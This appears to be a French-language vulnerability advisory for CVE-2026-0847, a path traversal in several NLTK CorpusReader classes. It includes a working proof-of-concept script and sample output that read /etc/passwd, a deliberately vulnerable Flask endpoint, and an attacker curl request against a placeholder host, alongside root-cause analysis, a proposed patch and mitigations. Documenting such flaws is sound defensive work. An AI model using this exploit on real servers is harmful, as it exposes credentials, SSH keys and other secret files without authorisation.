
Une vulnérabilité dans les versions de NLTK jusqu'à la 3.9.2 incluse permet la lecture arbitraire de fichiers via une traversée de chemin (path traversal) dans plusieurs classes CorpusReader, notamment WordListCorpusReader, TaggedCorpusReader et BracketParseCorpusReader.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2026-0847 |
| Paquet | nltk (Natural Language Toolkit) |
| Registre | PyPI |
| Versions concernées | <= 3.9.2 |
| Type de vulnérabilité | CWE-22 : Traversée de chemin |
| Score CVSS | 8.6 (Élevé) |
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Faible |
| Impact sur la disponibilité | Faible |
| Signalé le | 4 décembre 2025 |
| CVE publiée | 4 mars 2026 |
| Soutenue par | Palo Alto Networks / Prisma AIRS |
| Statut | Corrigé |
Plusieurs classes CorpusReader de la bibliothèque NLTK acceptent des arguments de chemin de fichier sans appliquer de canonicalisation des chemins, de validation par liste d'autorisation ni de restrictions de bac à sable. Lorsqu'un attaquant contrôle le nom de fichier du corpus ou l'entrée de fichier — un scénario courant dans les API d'apprentissage automatique, les pipelines NLP basés sur le téléversement de fichiers et les services de chatbot — il peut fournir un chemin spécialement conçu pour traverser la hiérarchie des répertoires et lire des fichiers arbitraires sur le serveur.
Cette vulnérabilité est particulièrement critique dans les déploiements en réseau où NLTK traite des chemins de fichiers contrôlés par l'utilisateur, car son exploitation ne requiert ni authentification ni privilège.
| Classe | Fichier | Statut |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Vulnérable |
TaggedCorpusReader | tagged.py L1–L140 | Vulnérable |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Vulnérable |
| Autres classes utilisant le même modèle de base | — | En attente d'un audit plus large |
Les trois classes héritent de la même méthode non sécurisée CorpusReader.open(), qui n'applique aucune restriction de chemin avant de résoudre et de lire l'identifiant de fichier fourni.
L'exploitation réussie de cette vulnérabilité peut entraîner :
/etc/passwd, /etc/shadow et /var/log/auth.log~/.ssh/id_rsa), les fichiers .env, les jetons API et les fichiers d'identifiants cloud peuvent être extraitsCes informations sont fournies uniquement à des fins éducatives et défensives. Ne testez pas sur des systèmes que vous ne possédez pas ou que vous n'avez pas l'autorisation explicite de tester.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Sortie (abrégée) :
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Un scénario réaliste dans lequel NLTK est exposé via une API HTTP :
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Requête de l'attaquant :
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Résultat : le contenu intégral de /etc/passwd est renvoyé à l'attaquant sans qu'aucune authentification ne soit requise.
La vulnérabilité trouve son origine dans CorpusReader.open(). La méthode résout le fileid fourni directement par rapport au chemin racine configuré à l'aide de FileSystemPathPointer.join(), sans effectuer aucune des vérifications suivantes :
..)Étant donné que FileSystemPathPointer peut être initialisé avec /, un attaquant qui contrôle l'argument filename dispose d'un accès en lecture sans restriction à l'ensemble du système de fichiers.
Correctif minimal proposé par le chercheur, à appliquer dans CorpusReader.open() :
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
La pull request de correctif en amont est disponible à l'adresse : https://github.com/nltk/nltk/pull/3479
| Action | Détails |
|---|---|
| Mettre à niveau NLTK | Mettre à jour vers une version supérieure à 3.9.2 dès qu'un correctif officiel est publié |
| Validation des entrées | Assainir et valider toutes les valeurs de chemins de fichiers fournies par l'utilisateur avant de les transmettre à toute classe NLTK CorpusReader |
| Éviter les chemins contrôlés par l'utilisateur | Ne pas permettre aux entrées utilisateur de contrôler directement ou indirectement l'argument fileids d'un CorpusReader |
| Moindre privilège | Exécuter les services basés sur NLTK sous un compte utilisateur du système d'exploitation restreint, avec un accès en lecture limité au seul répertoire du corpus |
| Conteneurisation | Isoler le service dans un conteneur Docker ou une prison chroot afin de limiter le rayon d'explosion d'une traversée réussie |
| Correctif Ubuntu | Surveiller l'avis de sécurité Ubuntu pour les mises à jour de paquets au niveau de la distribution |
Mise à niveau via pip :
pip install --upgrade nltk
Vérifier la version installée :
python -c "import nltk; print(nltk.__version__)"
| Date | Événement |
|---|---|
| 4 décembre 2025 | Vulnérabilité signalée à huntr.dev par le chercheur hyperps1 |
| décembre 2025 | Équipe de maintenance de NLTK informée via huntr.dev |
| janvier 2026 | Le mainteneur de NLTK a validé la vulnérabilité ; prime de divulgation attribuée au chercheur |
| janvier 2026 | CVE-2026-0847 attribuée |
| février 2026 | Avertissement de 48 heures avant publication envoyé aux mainteneurs de NLTK |
| 4 mars 2026 | CVE publiée sur NVD et huntr.dev |
| 5 mars 2026 | Enregistrement NVD modifié pour la dernière fois |
| Ressource | Lien |
|---|---|
| Entrée NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Avis de sécurité Ubuntu | https://ubuntu.com/security/CVE-2026-0847 |
| Fiche CVE officielle | https://cve.org/CVERecord?id=CVE-2026-0847 |
| Rapport huntr.dev | https://huntr.dev |
| Pull request de correctif | https://github.com/nltk/nltk/pull/3479 |
| NLTK sur PyPI | https://pypi.org/project/nltk/ |
| Traversée de chemin OWASP | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |
Ce dépôt documente la CVE-2026-0847 strictement à des fins éducatives, de recherche et de sécurité défensive. Le code de preuve de concept et les détails techniques sont fournis pour aider les développeurs, les ingénieurs en sécurité et les administrateurs système à comprendre, évaluer et corriger cette vulnérabilité.
Toute utilisation de ces informations pour accéder à des systèmes sans autorisation explicite est illégale et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive des informations contenues dans le présent document.
Contributeurs @mohitf070304